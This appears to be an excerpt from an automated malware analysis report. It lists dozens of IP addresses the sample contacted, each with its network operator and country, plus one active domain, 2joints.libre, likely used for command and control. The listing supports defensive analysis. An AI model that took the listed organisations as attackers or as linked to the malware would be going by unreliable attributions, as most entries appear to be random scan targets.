1267 ASN-WINDTREIUNETEU false
193.32.31.86
 unknown United Kingdom
6307 AMERICAN-EXPRESSUS false
117.34.115.137
 unknown China
4835 CHINANET-IDC-SNChinaTelecomGroupCN false
214.206.81.183
 unknown United States
721 DNIC-ASBLK-00721-00726US false
172.143.111.207
 unknown United States
7018 ATT-INTERNET4US false
61.250.64.12
 unknown Korea Republic of
9848 SEJONGTELECOM-AS-KRSejongTelecomKR false
115.228.176.161
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
71.168.128.205
 unknown United States
701 UUNETUS false
17.164.31.80
 unknown United States
714 APPLE-ENGINEERINGUS false
115.59.220.87
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
205.9.10.213
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
26.171.126.152
 unknown United States
7922 COMCAST-7922US false
84.109.163.167
 unknown Israel
8551 BEZEQ-INTERNATIONAL-ASBezeqintInternetBackboneIL false
5.151.163.126
 unknown United Kingdom
42689 GLIDEGB false
2.242.209.237
 unknown Germany
6805 TDDE-ASN1DE false
68.43.194.202
 unknown United States
7922 COMCAST-7922US false
18.56.157.245
 unknown United States
3 MIT-GATEWAYSUS false
37.74.112.119
 unknown Netherlands
1136 KPNKPNNationalEU false
32.236.156.212
 unknown United States
2686 ATGS-MMD-ASUS false
45.104.210.121
 unknown Egypt
37069 MOBINILEG false
218.22.191.87
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
72.163.254.210
 unknown United States
109 CISCOSYSTEMSUS false
131.12.205.188
 unknown United States
61458 GOBIERNOAUTONOMOMUNICIPALDELAPAZBO false
119.169.155.72
 unknown Japan 9824 JTCL-JP-ASJupiterTelecommunicationCoLtdJP false
164.117.78.142
 unknown United States
10430 WA-K20US false
115.251.85.138
 unknown India
18101 RELIANCE-COMMUNICATIONS-INRelianceCommunicationsLtdDAKC false
185.204.166.36
 unknown Bulgaria
44851 BG-RETEL-ASBGRetelASBG false
93.250.116.151
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
137.102.8.68
 unknown United States
1234 FORTUM-ASFortumEU false
120.242.134.223
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
128.49.13.120
 unknown United States
22 DNIC-AS-00022US false
67.1.251.106
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
171.100.189.232
 unknown Thailand
17552 TRUE-AS-APTrueInternetCoLtdTH false
44.159.88.96
 unknown United States
135646 AS-LUGINBASH-APLuginbashASCN false
213.119.31.16
 unknown Belgium
6848 TELENET-ASBE false

Contacted Domains

Name IP Active
2joints.libre 156.244.13.91 true